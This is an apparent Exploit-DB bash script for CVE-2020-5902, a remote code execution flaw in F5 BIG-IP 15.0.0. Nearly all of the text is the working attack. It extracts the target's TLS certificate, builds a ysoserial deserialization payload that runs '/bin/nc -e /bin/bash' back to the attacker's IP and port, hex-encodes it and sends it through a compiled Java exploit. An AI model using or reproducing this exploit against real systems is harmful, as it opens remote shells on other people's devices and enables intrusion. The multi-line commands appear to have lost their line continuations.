BIG-IP 15.0.0

#!/bin/bash
#
# EDB Note Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/48642.zip
# 
# Exploit Title: F5 BIG-IP Remote Code Execution
# Date: 2020-07-06
# Exploit Authors: Charles Dardaman of Critical Start, TeamARES
#                  Rich Mirch of Critical Start, TeamARES
# CVE: CVE-2020-5902
#
# Requirements:
#   Java JDK
#   hsqldb.jar 1.8
#   ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
#

if [[ $# -ne 3 ]]
then
  echo
  echo "Usage: $(basename $0)   "
  echo
  exit 1
fi

server=${1?hostname argument required}
localip=${2?Locaip argument required}
port=${3?Port argument required}

if [[ ! -f $server.der ]]
then
  echo "$server.der does not exist - extracting cert"
  openssl s_client 
          -showcerts 
          -servername $server 
          -connect $server:443 /dev/null | openssl x509 -outform DER >$server.der

  keytool -import 
          -alias $server 
          -keystore keystore 
          -storepass changeit 
          -noprompt 
          -file $PWD/$server.der
else
  echo "$server.der already exists. skipping extraction step"
fi

java -jar ysoserial-master-SNAPSHOT.jar 
     CommonsCollections6 
     "/bin/nc -e /bin/bash $localip $port" > nc.class

xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex

if [[ ! -f f5RCE.class ]]
then
  echo "Building exploit"
  javac -cp hsqldb.jar f5RCE.java
fi

java -cp hsqldb.jar:. 
     -Djavax.net.ssl.trustStore=keystore 
     -Djavax.net.ssl.trustStorePassword=changeit 
     f5RCE $server payload.hex
            

Comments are closed.